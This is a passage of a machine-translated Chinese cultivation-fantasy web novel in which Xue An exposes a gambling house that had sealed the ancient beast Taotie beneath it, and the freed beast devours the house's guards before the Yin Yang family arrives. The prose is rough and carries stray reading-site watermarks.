    Having said that, he immediately turned around and yelled at the staff behind: "The boss has something to say, immediately start to exchange chips for everyone!"


    boom!


    I don''t know who started it, and the audience applauded.


    "Okay! As expected, he is the one who can take charge of Zuisheng Building, he is really big!"


    "Not to mention anything else, few men can match this kind of spirit!"


    He Yunxi smiled lightly in the tide of praise, "Everyone is too praised, this is just what I should do!"


    With that said, she personally came to the front desk to exchange chips for everyone, and chatted and laughed happily with some regular customers.


    At this time, the tension that had been drawn out instantly eased, and the atmosphere became very warm.


    There are even many people who feel ashamed in their hearts.


    I don''t think I should have so distrusted Zuishenglou!


    Is it possible that such a big gambling house can still have less of your own bargaining chip?


    Therefore, the last bit of grudge in everyone''s hearts also disappeared.


    Standing out of the crowd, Yue Qinghuan couldn''t help but sigh slightly after seeing this scene, "This woman, what a smart wrist!"


    Xue An smiled faintly, "How can a woman be an easy person if she can stand in such a place?"


    After that, he stepped forward, "Let''s go, it''s time to redeem our chips!"


    When Xue An and Yue Qinghuan showed up at the front desk, He Yunxi, who had originally smiled beautifully, was startled at first, and then stopped smiling, and said lightly: "This must be the girl Yue from the military strategist!"


    Yue Qinghuan nodded, "Yes!"


    "Very good! Originally I was waiting for you. Since I''m here, please follow me!" He Yunxi said lightly, then turned and walked out of the front desk and walked over the stands.


    Yue Qinghuan was a little surprised. He didn''t understand what He Yunxi wanted to do, so he couldn''t help but secretly ask.


    "What do you say she wants to do? Do you want to go wrong?"


    Xue An just smiled, "If you don''t want to go wrong, you won''t know when you wait?"


    With that, Xue An followed.


    In desperation, Yue Qinghuan had no choice but to follow.


    When the three of them left, the crowd onlookers immediately began to discuss.


    "What''s the matter? Who are these two people? Why would the lady boss receive them personally?"


    "That woman seems to be a soldier, as for the young man I don''t know!"


    "Hey! Look at the chips that these two people want to exchange!" Someone suddenly exclaimed.


    Everyone looked up one after another, but saw a line of big characters Soldier Yue Qinghuan appeared above the light and shadow of the water curtain in front of the bargaining counter, followed by an almost astronomical bargaining chip.


    At this time, many people became discolored by it.


    "That''s the case, no wonder the lady boss will receive the two of them personally, these chips are even enough to make Zuishenglou hurt!" Someone smiled bitterly.


    "Yes! God knows so many chips, how will Zuishenglou deal with it!"


    At the same time, many people looked at the direction the three of them were going, secretly glanced at each other, and then shook their heads slightly.


    In their opinion, it is estimated that Yue Qinghuan and the young man will find it difficult to come back.


    Because the amount of this wealth is too amazing, amazing enough to make people do any crazy things.


    When everyone outside was talking about it, Xue An and Yue Qinghuan followed He Yunxi into the box.


    After entering, Yue Qinghuan raised his eyebrows sharply and said coldly: "It''s actually you?!"

 Chapter 2215： Tit for Tat

    Long Zhan''s complexion was also very unsightly, because he saw with his own eyes the woman whom he regarded as impunity and walked in very intimately side by side with other men, which made his heart full of jealousy.


    But he was not a pure dude, so after taking a deep breath, he nodded calmly.


    "Yes, it''s me! Qinghuan, I didn''t expect to see you here! What have you been doing during this time? I have been looking for you for a long time but have not found it!"


    After hearing the two words Qinghuan, Yue Qinghuan looked disgusted, and then said angrily: "Does what I am going to do has anything to do with you? And why are you looking for me?"


    This kind of coldness that still did not leave any affection in front of everyone made Long Zhan finally unable to suppress the anger in his heart.


    "Qinghuan, what you are going to do of course has something to do with me, because you and I and my parents and elders should be very clear about what you mean, so I hope you can give me the least respect."


    "It''s a joke, as if I still want to be grateful to your Long Family. Unfortunately, grandma is not rare at all, and will not give you any so-called respect!" Yue Qinghuan sneered.


    Gu Yushan and He Yunxi were all watching them both.


    Long Zhan felt that his face was even more uncontrollable, his eyelids beating frantically, and then he pointed at Xue An suddenly, "Yue Qinghuan, tell me the truth, is it because of this wild man who didn''t know where to come out? ?"


    Just after these words were said, Yue Qinghuan��s lavender eyes instantly turned into ice, "Long Zhan, you have the ability to repeat what you just said!"


    "Haha!" Long Zhan suddenly laughed, and then said savagely.


    "Yue Qinghuan, don''t think I don''t know. You suddenly disappeared during this period of time. Did you secretly find this man for a tryst? You also deliberately appeared in front of everyone, how pure and pure you are, in my opinion, you are purely shameless Bitch..."


    Snapped!


    Before he could finish speaking, a loud slap blocked Long Zhan''s words back.


    But seeing that Yue Qinghuan didn''t know when he had already appeared in front of him, his hands were still in the air, and he looked at him coldly.


    Half of Long Zhan''s face began to swell at a speed visible to the naked eye, but he didn''t notice anything, just staring at Yue Qinghuan blankly, not even the blood dripping from the corner of his mouth.


    "You...you dare to hit me?"


    Yue Qinghuan raised his eyebrows slightly, "Why, can''t you beat me? To tell you the truth, I have long seen you not pleasing to your eyes, but because of my fellow soldiers, I have never wanted to be familiar with you, but this time If you dare to talk nonsense to me and my friends, I will naturally teach you a lesson!"


    With that said, Yue Qinghuan took a step forward and stared at him before reaching Long Zhan''s cheek.


    "I''m telling you, if you let me hear some messy things in your mouth again, I will take your head off and kick the ball. Don''t think I''m scaring you. You should understand my character. Do you understand? "


    Long Zhan trembled all over, and a panic appeared in the depths of his eyes.


    As Yue Qinghuan said, her temperament is well known among the younger generation of military strategists.


    But in the presence of so many people, Long Zhan could not be too weak.


    Therefore, he said coldly: "Okay! Yue Qinghuan, I have written down this slap!"


    "I don''t believe that the elders of your Yue family will allow you to do anything wrong, and even bring back a trash that is not even Xianzun. Let''s wait and see!"


    After saying these words, Long Zhan gave Xue An an infinitely bitter look, and then walked straight away.


    In an instant, Long Zhan led his men and walked away cleanly.


    Only Gu Yushan, He Yunxi, Xue An and Yue Qinghuan were left in the room.


    Until then, He Yunxi, who had been watching the excitement by the side, clapped gently.


    "Okay! As expected, he is a descendant of the military family. He is really quick and neat, and even Long Shao dares to fight. You can be called a hero of the female middle school!"


    Yue Qinghuan was silent, but Xue An on the side suddenly chuckled.


    "You are not bad, but can we talk about the bargaining chip first?"


    With that, Xue An walked to the chair like a stroll, sat down without saying anything, and even said to Yue Qinghuan, who was standing still.


    "What are you doing standing there, sit here!"


    Yue Qinghuan hesitated, and finally walked to the side of Xue An, and then sat down.


    Seeing this scene, a strange brilliance flashed in He Yunxi''s eyes.


    Because Xue An is too calm now.


    And the kind of demeanor on his body is as if he is the owner of this room.


    This naturally surprised He Yunxi, who had always believed that Yue Qinghuan was the real messenger.


    In fact, after receiving the report, He Yunxi''s first reaction at the time was that the Yue family was about to take action against Zuishenglou.


    But now it seems that things are a little different!


    But the more so, the more she became interested in Xue An.


    Therefore, she chuckled, swinging her waist, and she walked across to Xue An, and sat down with amorous feelings.


    "This little brother is really interesting to say, since you want to talk about the bargaining chip, that''s good, then let''s talk about it!"


    As she said, she glanced at Xue An with a wave of eyes, "First of all, how do you think this account should be calculated?"


    "It''s very simple! I am willing to bet and lose!" Xue An said lightly.


    Gu Yushan, who had been silent next to him, finally couldn''t help it at this time. He immediately stood up and said: "Ms. Yun, don''t listen to this kid''s nonsense. He is clearly out for a thousand. How can you say that he is willing to bet?"


    As soon as the voice fell, He Yunxi hooked him, "Come here!"


    Gu Yushan didn''t know why, but he walked up, "Ms. Yun Niang..."


    "Bend down!"


    Gu Yushan had to bend over.


    Then he heard a crisp sound.


    He Yunxi, who was sitting in the chair, slapped the ancient Yushan fan out of the face with a slap in the face. After three laps in the air, he fell heavily to the ground.


    He Yunxi didn''t even look at him, picked up the towel on the table and gently wiped his hands.


    "In Zuishenglou, you have to ask for evidence when you speak. If you say that others give a thousand, what about evidence?"


    Gu Yushan, who was bleeding from his nose and mouth, couldn''t help but feel ashamed, but still couldn''t help but whispered: "But..."


    "Shut up, you useless thing, if it weren''t for you to change the rules arbitrarily, why did our Zuishenglou lose so much?"


    Gu Yushan immediately closed his mouth and dared not say anything.


    Because it is indeed his fault.


    After reprimanding Gu Yushan, He Yunxi''s face reappeared with a smile, and he nodded slightly at Xue An.


    "You are incompetent, UU reading makes you laugh!"


    Xue An was noncommittal, because he knew that this extremely skilled woman obviously had a trick.


    really.


    I saw He Yunxi lightly said: "I wish to bet and lose these four words are the foundation of my Zuisheng Building, and naturally I will not deny it, but before that, I have something to ask for verification!"


    "You and where did this girl Yue''s first bet come from?"


    Yue Qinghuan was taken aback.


    Xue An seemed to have expected her to ask this question a long time ago, and smiled faintly, "It''s true that we didn''t bring any money when we came. All the gambling books were given by someone in your casino!"


    "Oh? It was given by one person, but he is what you said?"


    As he said, He Yunxi clapped his palms with a smile.


    The box door opened, and a gray-robed old man walked in. It was the big account room that gave Yue Qinghuan a bargaining chip before!

 Chapter 2216： Small feast

    "Ms. Yun!" The large accountant leaned slightly.


    He Yunxi nodded and pointed at Yue Qinghuan and Xue An, "Do you recognize them?"


    "Recognize!"


    "Listen to them, you gave them the first bargaining chip?"


    "Yes!" The big accountant nodded again.


    Hearing this, Gu Yushan''s eyes lit up, and then he couldn''t wait to stand up and say: "Okay, it turns out that the root of the whole thing lies with you!"


    The big accountant just glanced at him faintly, "Why did the ancient butler say this?"


    "Be less confused, if you don''t give them chips, can they have the capital to bet? If they don''t have the capital to bet, how can they win so much? So to get to the root of it, the real culprit is you!"


    Gu Yushan''s clever teeth and the ability to manipulate right and wrong are fully demonstrated at this moment.


    But the big accountant just chuckled when he heard the words, and his smile was full of disdain and sarcasm.


    "According to what you said, then our Zuisheng Building should not lend to customers. After all...In that case, the customers may also win a huge amount of wealth!"


    Gu Yushan was immediately speechless.


    He Yunxi waved his hand at this time, "It''s alright, don''t quarrel!"


    As she said, she looked at Xue An, "Since your bargaining chip was given by the big accountant of my family, don''t you have anything to say?"


    "What are you talking about? Anyway, no matter how the chips were obtained, even if I picked them up on the road, there is no conflict with my current winnings! Are you right?" Xue An looked at He Yunxi with a smile.


    He Yunxi also smiled, "Well said! I just want to confirm how you got your chips, nothing else!"


    Even so, when He Yunxi laughed, his long eyelashes still cast a deep shadow under his eyes, making him look so wicked.


    The smile on Xue An''s face remained unchanged, "In that case, can we exchange the chips we won?"


    "Yes, of course, but before that, we still need to wait for another person to come! And how about a few drinks during this time?" He Yunxi smiled.


    Yue Qinghuan became a little nervous, because she didn''t know what the woman wanted to do.


    But she could clearly feel that a wave of malicious malice has been lingering around her.


    So she quietly reached out to grab Xue An''s clothes corner, trying to stop him from agreeing.


    But before her hand touched Xue An, Xue An turned sideways without knowing whether it was intentional or unintentional, avoided her hand directly, and chuckled.


    "Oh? That''s okay, I just want to taste the wine in Zuishenglou too!"


    When he said this, Xue An had a warm and welcoming smile, and his eyes were full of joy.


    It''s exactly the same as an ordinary teenager''s behavior when he hears a good drink.


    But the more he was like this, the more disturbed He Yunxi''s heart became.


    Because she suddenly discovered that she couldn''t see through the white-clothed boy in front of her.


    In the past, no matter how tyrannical a strong person was, if he couldn''t even hold a few words in front of him, he would be dismissed by himself.


    But when it came to this young man, all his temptations had been useless.


    How could this not make her feel uneasy about her mistake.


    But for her to become the proprietress of such a big gambling building, the city mansion is naturally very deep, so these thoughts in her heart did not show up on the surface at all, but she smiled.


    "Okay, let the son taste the taste of our wine today!"


    As she said, she knocked on the table lightly and gave a light command.


    "ready!"


    A clear response came from outside the door.


    "Yes!"


    Then He Yunxi looked at Xue An with a smile, tapping the table with his fingers lightly.


    The whole box was extremely quiet, and only the sound of her fingers tapping the tabletop could be heard.


    Bang, bang, bang....


    When the knock was just twenty times, footsteps came from the corridor outside the door.


    These footsteps were uniform and uniform, as if they were a person, and then the box door was opened, and a group of brightly dressed maids filed in.


    The height and volume of these maids seemed to be carved out of a mold, and even the makeup on their faces was generally the same.


    And in their hands, they all held a huge tray. After opening the lid, there were a series of extremely delicate dishes inside.


    These dishes were presented like flowing water, and soon the whole table was filled.


    In the end, the two maidservants walked to the table holding a wine jar strenuously, and then placed them on the table carefully.


    After all this was done, these maidservants retreated like a tide.


    The whole process took no more than half a cup of tea, and then a table of extremely rich banquets was presented in front of Xue An.


    A touch of shock appeared in Yue Qinghuan''s eyes.


    Because the dishes at this banquet are steaming hot, delicious in color, fragrance, and flavor, they are obviously just fried and not prepared in advance.


    This is too shocking.


    After all, from the time He Yunxi ordered the preparation to the presentation of the dishes, there was no time to spend a total of incense sticks.


    But under such circumstances, Zuishenglou was able to rush to produce such a high-quality banquet.


    What does this show?


    This shows that Zuisheng Building is indeed the premier gambling building in Linglong City, at least in terms of extravagance and desirability, it has reached an eye-popping position.


    But Xue An was noncommittal about these.


    This also disappointed He Yunxi who wanted to read a hint of surprise from his face.


    Seeing these scenes is regarded as ordinary, what is the origin of this boy?


    Suspicious in her heart, she picked up the cup and chuckled: "The time is rushed, so I can only prepare a small feast. Fortunately, the wine is still good. I hope the son will forgive me!"


    With the voice, I saw that the wine jar on the table suddenly flew out of two brilliances, one fell into the cup held in He Yunxi''s hand, and the other flew into the cup in front of Xue An, and then Qi Qi turned into a drink. .


    In an instant, a strange and mellow aroma of wine permeated.


    Not only that, but also layers of illusions appeared on the two wine glasses.


    Yue Qinghuan was already looking silly. U U Reading


    Xue An''s eyes also flashed a strange color, and then sighed: "It is said that wine that is too old is spiritual and can be transformed into various visions. I thought it was a legend before, but today it seems to be true. of!"


    "The son is so knowledgeable! Please!"


    With that said, He Yunxi held the cup in his hand and said to Xue Anjing away.


    Xue An also smiled, and then he raised his glass to drink.


    But at this moment, a cold drink suddenly came from outside the box door.


    "Wait!"


    As he spoke, he saw Lu Yushi rushing in fiercely.


    As soon as he saw him, He Yunxi put down the wine glass in his hand and said lightly: "Did you find out?"


    Lu Yushi nodded, "Hui Yunniang, it has been found out!"


    After that, he turned his head and stared at Xue An viciously, "Boy, your good days are over!"

 Chapter 2217： 0 dense and 1 sparse still not doing it?

    "Oh? What do you mean?" Xue An said with a smile.


    "Hehe, do you really think that what you have done can be hidden from everyone? You are wrong! Do you know what I was doing just now?"


    "What are you doing?"


    "I just checked the tea cups in the entire Slaughter Casino, and found that except for some of the ones that were broken by mistake, only your tea cup was missing. Do you know what this means?" Lu Yushi sneered.


    "What does it mean?" Xue An still didn''t panic at all.


    "You are still pretending to be stupid? Okay, then I will let you know. At that time, Lu Yangyan suddenly unlocked the seal during the battle, and I felt a bit weird. Later, I found that the seal on his body was shattered through the remaining powder. It''s actually a teacup, and it''s the teacup of Slaughter Casino!"


    "And now in the entire casino, only your teacup is missing. How do you explain this?"


    When Lu Yushi said these words, Gu Yushan was overjoyed.


    "It turned out to be like this. I said how could the seal on Lu Yangyan suddenly disappear at the time. It turned out that you were behind the scenes! What else do I think you have to say?"


    He Yunxi looked at Xue An quietly. Although she didn''t speak, the chill in her eyes grew a little bit.


    Xue An sighed softly, "Hundreds of secrets, I really didn''t expect this, that''s right! I really broke the seal on the boy!"


    "Hahaha, you finally admitted it!" Gu Yushan''s excited facial features were distorted.


    "Come here, grab this veteran fellow, and then rigorously interrogate him to see who is in his party."


    In just a few words, Xue An will be regarded as a fellow-party and a person who plots against Zuishenglou. It can be seen how handy this ancient Yushan structure is to trap people.


    When the words were over, a lot of grim-faced and imposing thugs appeared in the corridor outside.


    These thugs rounded the box up, and they all looked at Xue An inside.


    After He Yunxi gave an order, they would rush forward and arrest Xue An.


    The atmosphere condensed to freezing point in a moment.


    Yue Qinghuan''s face also became a little pale, "Xue An..."


    Xue An chuckled, shook his head slightly at her, signaled her not to panic, and then looked at He Yunxi.


    "Why? Is this going to go to the end and do it directly?"


    Gu Yushan sneered, "Boy, I think you have a fever and your head is burnt, right? You can''t see the situation at this time? You are a thousand first, but you still say that we are reckless, you..."


    Before he finished his words, He Yunxi suddenly let out a cold cry, "Shut up!"


    Gu Yushan was taken aback.


    "I didn''t say a word, there is no place for you to speak here!"


    Gu Yushan had no choice but to shut his mouth in a serendipitous manner.


    Then He Yunxi looked at Xue An indifferently.


    "Now what do you want to say?"


    Xue An smiled faintly, "It''s nothing, I just want to make a deal with you!"


    "Oh? Deal? What deal?"


    "I don''t need all the chips to win, but you have to hand over Lu Yangyan''s sister who is controlled by you!"


    He Yunxi''s expression sank and he stopped Gu Yushan and Lu Yushi who were about to attack with his speechless power, and then said coldly: "Go on!"


    "Presumably you should have found out, I came from Orb City, and before I came, there was a Shadow Turtle King in Orb City who entrusted me to do something!"


    After mentioning the Shadow Turtle King, He Yunxi changed slightly, "So you are from the Shadow Ghost King?"


    Xue An smiled and shook his head, "No, but I am entrusted by the Shadow Turtle King, so I naturally want to do things for him! I know that the members of the Shadow Turtle Clan are in your Zuisheng Building, so I hope you can take them as well. Hand it over together!"


    He Yunxi''s complexion became more exciting, "Anything else?"


    "Of course, I don''t think you Zuishenglou will deal with the Shadow Turtle Clan for no reason, so I want to know who is instructing you behind the scenes! By doing all these three things, our previous accounts can be written off. What do you think?" Xue An said lightly.


    He Yunxi smiled furiously, "You are a smart person, so you should be very clear about whether these requirements of yours are possible!"


    Xue An sighed softly, "So, is there no room for recovery?"


    He Yunxi motioned the people around to be ready with his eyes, and said coldly: "What leeway do you want?"


    "It''s a pity, I wanted to let you go!" Xue Anyou said quietly.


    "Do it!" He Yunxi no longer wanted to entangle Xue An anymore, and shouted decisively.


    boom!


    Lu Yushi behind him, Gu Yushan, and many thugs outside the box all rushed towards Xue An.


    In an instant, Xue An became the center of everyone''s siege.


    The violent power came from all directions.


    But in this case, Xue An sighed faintly, "It''s a pity that this table is good!"


    After that, he shouted in a deep voice: "If you don''t do it yet, when will you wait?"


    As soon as the sound fell, the whole Zuisheng Building began to shake.


    The shaking was so violent that it shook many people who had attacked Xue An to the ground.


    He Yunxi''s expression changed suddenly, "What''s going on?"


    You must know that this Zuisheng Building was built with secret methods, it can be said to be as infallible as it has never happened.


    And before she understood what was going on, everyone heard a loud rumbling noise from above their heads.


    At the same time someone screamed: "Return my sister to me!"


    Click!


    With the last scream, the upper part of the entire Zuisheng Building was torn apart with unimaginable force.


    The sky was falling down, and everyone was horrified.


    Because just under the starry sky, it was a huge virtual image of a mysterious turtle.


    And under the imaginary image, a young man stood.


    It was Lu Yangyan who had disappeared from the ring before.


    After seeing him, there was a commotion in the crowd.


    And at this moment, He Yunxi''s almost hysterical scream came from the crowd.


    "Kill him, kill everyone!"


    She looked like crazy now.


    The upper part of the good-looking Zuisheng Building was actually demolished.


    It is conceivable that If this matter cannot be handled properly, the prestige of Zuishenglou will disappear.


    With an order, the entire Zuisheng Building moved with a sensation, and many strong men rose into the sky and rushed towards Lu Yangyan.


    Many people also launched an indiscriminate attack on Xue An.


    In this messy situation, Xue An suddenly sneered.


    "Why are you so excited? Could it be that this suppression artifact was destroyed, so you are scared?"


    As soon as this remark came out, He Yunxi and the large accountant changed their expressions.


    And it was at this moment, but I saw Xue An taking Yue Qinghuan out of the siege of the crowd like a stroll in a leisurely courtyard, and arrived above the sky without smoke.


    The whole process is almost at its peak.


    Before everyone could react, Xue An was already standing high above the sky, looking down at the half-damaged Zuisheng Building at his feet.


    "Having been in the ground for so long, it''s time to show up!"

 Chapter 2218： Ancient 4 fierce, gluttonous behemoth

    When the words fell, Xue An stepped on it, and at the same time an extremely huge virtual image appeared behind him, directly grabbing only half of the Zuisheng Building, and then pulled it hard.


    boom!


    The whole Zuisheng Building began to shake violently.


    He Yunxi screamed: "Quickly, kill him!"


    Lu Yushi and many thugs and guards soared into the sky and headed straight for Xue An.


    But at this moment, Lu Yangyan stood in front of Xue An, blocking the way.


    Boom boom boom!


    The two sides fought head-to-head together.


    With Lu Yangyan''s profound tortoise''s true martial ability, when faced with a large number and powerful Lu Yushi and others, he did not give in, and he fought with each other, and he did not lose the wind for a time.


    At this moment, He Yunxi felt the Zuisheng Building under his feet start to tremble, and at the same time a loud rumbling sound came from deep underground, as if something was breaking.


    Then the whole Zuisheng Building began to rise from the ground bit by bit.


    After feeling this, He Yunxi finally changed his color and screamed.


    "How is it possible! A half-step Immortal Venerable, how could it have shaken Zuishenglou!"


    But the facts do not depend on anyone''s will.


    In the blink of an eye, Xue An pulled out Zuishenglou Shengsheng with supreme power.


    Many gamblers inside were all panicked.


    And He Yunxi was frightened and couldn''t care about the majesty of the proprietress. She jumped up recklessly, bypassing the fierce fighting Lu Yushi and others, and headed straight to Xue An.


    "Boy, you ruined my Zuisheng Building, and I have to smash your corpse today!"


    But at this moment, seeing Xue An''s arms swayed, he threw this Zuisheng Building out like trash.


    At the same time, the entire Linglong City was also shocked by the splash of the sky.


    Countless people poured out one after another, staring at this scene dumbfounded.


    And there is a manor house with exquisite decoration and gorgeous decoration in the place where there is more than half of the city from Zuishenglou.


    now.


    The owner of the manor also felt the excitement outside, and flew up, wanting to see what happened.


    But just as he flew into the air, he flew up to the drunken building with only half left.


    "Fuck! What''s the situation!"


    Seeing this, the owner of the manor was almost dead, and then turned around and ran.


    Thanks to his quick response and agility.


    This half of the Zuisheng Building almost wiped his body and flew past, and then smashed heavily on his manor.


    Wow!


    With a loud bang, this originally exquisite and gorgeous yard was abruptly smashed into a big pit by the Zuisheng Building that fell from the sky.


    The terrified owner of the manor stood in the air, watching this scene without tears.


    what''s the problem?


    Who the **** did I mess with?


    Why do you treat me this way?


    After three consecutive questions about his fate, the manor owner turned around and flew toward the Zuisheng Building fiercely.


    He has to ask a question!


    But he had just leaped over half of the city, before he reached the big pit left by Zuishenglou.


    Suddenly a deep and creepy roar came from deep underground.


    The roar was so deafening that the entire Exquisite City began to tremble.


    Immediately afterwards, in the big pit, a mighty power rose to the sky, which made people look disgusting.


    The manor owner who wanted to ask for an explanation immediately turned around after seeing this scene and flew back to his manor.


    Ok!


    In fact, it''s not a big deal, it''s nothing more than some buildings, the big deal is to rebuild it again!


    The owner of the manor thought silently.


    And around the huge pit, everyone''s complexion changed.


    In particular, He Yunxi has a large accountant, and his complexion at this moment can no longer be described as ugly.


    It''s almost like a dead person.


    Lu Yushi, Lu Yangyan and the others who were fighting were also separated, looking solemnly into the pit.


    The audience was deadly quiet.


    Yue Qinghuan turned pale, and asked softly: "Xue An, what exactly is there?"


    Xue An chuckled, "Don''t worry, you''ll know right away!"


    As soon as the voice fell, a burst of brilliance shot out from the huge pit, and then a monster appeared in the air.


    This is a monster with a sheep-like human face, double axillary eyes, and tiger-toothed human hands.


    After seeing it, there was a dead silence in the audience, and then a violent noise broke out.


    "Gourmet! God! It''s the ancient ferocious beast Gourmet!" someone roared desperately.


    And when he heard the name Taotie, the entire Linglong City shook.


    There is no other reason, it is because the name is too shocking and too sensational.


    Gourmet!


    One of the ancient four fierce beasts is a monster that has only existed in legends for a long time.


    According to legend, he is cruel and greedy by nature, once it appears, there will be no grass within a thousand miles.


    This is why countless people are terrified after seeing it.


    However, there are still some powerful experts who have discovered the strangeness of this gluttonous food.


    Because it is different from the legend or record.


    This gluttonous glutton is obviously much smaller, and at the same time, there are countless runes faintly carved in various parts of the body.


    These runes penetrate deep into the bone marrow, and some are even oozing blood continuously.


    All this shows that this gluttony is not a complete adult body, and that it has suffered extremely serious injuries.


    But this still doesn''t make people feel relieved.


    Because when this glutton looked around the audience with his underarm binoculars, the majesty and mystery that came on his face still shocked countless people.


    Only then did Yue Qinghuan wake up, and then exclaimed in a low voice: "God, Xue An, did you know that Zuisheng was sealed with a gluttony downstairs?"


    "Of course not, in fact I only discovered it when I boarded the Slaughter Casino!" Xue An said lightly.


    "Then why do these people seal the gluttony?"


    "It''s very simple. They want to use the gluttony''s ability to build a special feng shui field to swallow a huge amount of wealth, but this is only one of the most trivial purposes. Their most important purpose is to surrender this gluttony!


    "Surrender this glutton?"


    "Yes!" A cold brilliance flashed in Xue An''s eyes. UU reading www.uukANAnshu. cm


    "They tried to subdue this glutton with blood and killing power and make it for their own use!"


    Yue Qinghuan was stunned by Xue An''s words.


    If that is the case, then the plot of the Zuishenglou would be too great.


    Because since ancient times, no one has ever been able to surrender these ancient fierce beasts.


    "Then who are they?" Yue Qinghuan whispered softly.


    He Yunxi alone, or Zuishenglou alone, of course, is not enough to support such a huge conspiracy.


    There must be a huge force behind them.


    "Is this..." Xue An sneered slightly while looking at He Yunxi who was shaking in the distance.


    "Just ask them yourself!"

 Chapter 2219： There are 0 families, yin and yang are present

    At this moment, but seeing this gluttonous eyes converging to the fierce light, he shook his body slightly.


    Suddenly, there was a loud bang from Lutie''s body, and then it turned into a brilliance and rushed directly into the crowd in Zuisheng Building.


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh..." There was a screaming scream from the crowd, and the tight formation suddenly collapsed.


    People scattered and fled, but how could they be able to match the speed of gluttony.


    But seeing Taotie opened his blood basin and mouthed one by one, frantically devouring the thugs and guards of the Zuishenglou.


    But in the blink of an eye, at least seven or eight thugs were swallowed by it.


    And as it was swallowed, the seal rune on Taotie''s body gleamed slightly, and the aura even more faintly transformed.


    Seeing this scene, He Yunxi, who was already trembling all over, was even more frightened and his color changed. He screamed hysterically: "Quick! Stop it! Or we will all die!"


    The big account room on the side roared, and then painted a talisman seal in the air with an extremely weird technique.


    "seal!"


    He pushed forward.


    This black light floating symbolic seal flew directly to Taotie, and then it was printed on the top of Taotie''s head.


    "Roar!"


    The gluttonous roar raised to the sky, and then the seal runes on his body were all lit up, forcing the aura that had just risen to quickly fall down.


    Seeing this, He Yunxi couldn''t help shouting in excitement, "Hurry up, work harder, and seal this beast back!"


    Although this large accountant was pale as paper, he knew that the moment was about to be a matter of life and death, so he did not dare to have the slightest reservation. He painted the talisman seal in his hand again, and at the same time, he moved straight to the gluttonous glutton.


    But just when he was about to come in front of the gluttonous, the gluttonous who was struggling in agony suddenly flashed in his eyes, and then he opened his mouth and swallowed directly at the big accountant.


    The big accountant was so scared that the dead souls were scared, and the almost-like talisman in his hand was directly turned into nothing, and at the same time he tried to dodge, trying to avoid the gluttonous mouth.


    But when he was caught off guard, how could he escape the attack of the ancient beasts.


    Therefore, only hearing a muffled sound, this big accountant was bitten off half of his body by gluttony.


    Only the legs below the chest and abdomen were still standing in the void.


    This scene stunned everyone.


    At this moment, the gluttonous mouth opened again, swallowing all the remaining body of the large accountant, and then let out a roar to the sky.


    With the roar, the runes on his body became much shallower, and his aura rose to a new height in an instant.


    Seeing this, He Yunxi was cold all over, turned around and ran.


    But as soon as she turned around, this glutton rushed towards her.


    He Yunxi sensed the approach of danger and couldn''t help but screamed: "Block him!"


    But at this time, people are all evasive, for fear, no one will listen to her!


    Panic and despair appeared in He Yunxi''s eyes, just at this moment Lu Yushi appeared not far in front of her.


    At this moment, the once invincible Captain Zuishenglou was also fleeing, and he didn''t even notice He Yunxi behind him.


    Seeing this, He Yunxi''s eyes flashed Guanghua, and he rushed forward a few steps, reached out and grabbed Lu Yushi''s shoulder, and pulled back.


    Unprepared, Lu Yushi was stunned by He Yunxi.


    And because of this delay, the gluttonous beast rushed to the front and swallowed it with its mouth open.


    "Ahhhh, your damn..." Lu Yushi let out a roar that shook the sky, but soon these roars disappeared.


    Because his whole body has already entered the mouth of Gourd.


    But at this time, He Yunxi and Gu Yushan had already run away.


    Seeing them will disappear into the sky.


    This gluttonous snorted coldly, bowed his hind legs, and then the whole body ejected like a bow and arrow.


    You must know that after swallowing several masters one after another, this gluttonous body has become bigger and bigger.


    But when it flew out, it was so light and fast.


    However, after a short while, it rushed behind He Yunxi and Gu Yushan, and then stretched its front paws and directly pushed them both into the air.


    "Ahhhhhhhhh, forgive me, this matter has nothing to do with me, it was ordered by others!" Gu Yushan screamed frantically.


    He Yunxi had to be a little calmer, but he looked at the gluttonous glutton with a pale face, feeling its scorching nose, and his eyes were full of pleading and hopelessness.


    "Seal...unseal...people!" Taotie suddenly opened her mouth and said in a vague voice.


    Gu Yushan immediately said: "Master Taotie, the seal on you is from the family master, and has nothing to do with us, you..."


    Before he could finish his words, Glutton snapped his mouth and swallowed Gu Yushan''s head in one bite.


    The sound stopped abruptly, and only Gu Yushan''s headless body was still trembling slightly.


    You know the reason why gluttonous beast is called the ancient fierce beast is because once it is swallowed by it, then no matter how powerful a master you are, you will be wiped out, and even the last traces of existence will be wiped out.


    So at this moment, Gu Yushan, although the body except the head is still there, it is already dead to death.


    "Noisy!" Taotie said coldly.


    At this time, it had already spoken fluently and proficiently, and the eyes under the armpits were staring at He Yunxi.


    "Where is the person who injured and sealed me in the first place?"


    "I...I don''t know!" He Yunxi replied with a trembling voice.


    "Huh? I don''t know?"


    With this questioning, Taotie''s power immediately rose, and he pressed He Yunxi''s front paws with a slight force.


    A few muffled noises.


    He Yunxi''s shoulder blades were directly shattered, and she couldn''t help groaning under the pain.


    But she still tremblingly said: "Tao Tie...Master Tie Tie, I really don''t know who sealed you, I just came to guard here by the order of the family!"


    Taotie was obviously very angry, and opened his mouth to swallow He Yunxi too.


    But at this moment the runes on its body suddenly exploded, as if the ropes were tightening suddenly.


    Taotie uttered an extremely painful howl, and he ignored He Yunxi, and directly rolled into the void.


    Taking advantage of this opportunity, He Yunxi ran out rolling and crawling.


    At this moment, a voice full of arrogance and pride came from the distant sky.


    "A beast who hasn''t developed a climate yet dare to make trouble here?"


    As he spoke, he saw a few glorious moments. After he showed his figure, all of them were young men with extraordinary temperament. The leader was a man who wore a large robe and was ecstatic.


    Seeing these people, He Yunxi, who had escaped from the dead and was in shock, was overjoyed and immediately fell to his knees.


    "Unscrupulous disciple He Yunxi, I have met several seniors."


    At the same time, Yue Qinghuan, who was next to Xue An, was shocked all over after seeing these men, and blurted out three words.


    "Yin Yang Home!"

 Chapter 2220： Yin Yang Great Witch

    "Yin Yang House?" Xue An raised his eyebrows slightly.


    "Yes!" Yue Qinghuan took a deep breath and slowly said, "No wonder Zuishenglou dared to be so arrogant and even dared to suppress the ancient beasts for his own use. It turns out that their backstage is the Yin Yang family. This is troublesome!"


    "What''s the trouble? I think it''s pretty good. I hit the child and came to an adult, and it happened to be solved together." Xue An said indifferently.


    Yue Qinghuan smiled bitterly, "What you don''t understand, this Yin-Yang family is extremely powerful even among the ancient families, and no one dares to provoke it."


    "Don''t even dare you or your soldiers?" Xue An glanced at her and said softly.


    Yue Qinghuan was silent for a moment, and finally sighed, "You don''t understand. Although our military strategist is strong, we have twelve points. In recent years, we have been leaning against each other, which has caused our strength to be no longer as good as before."


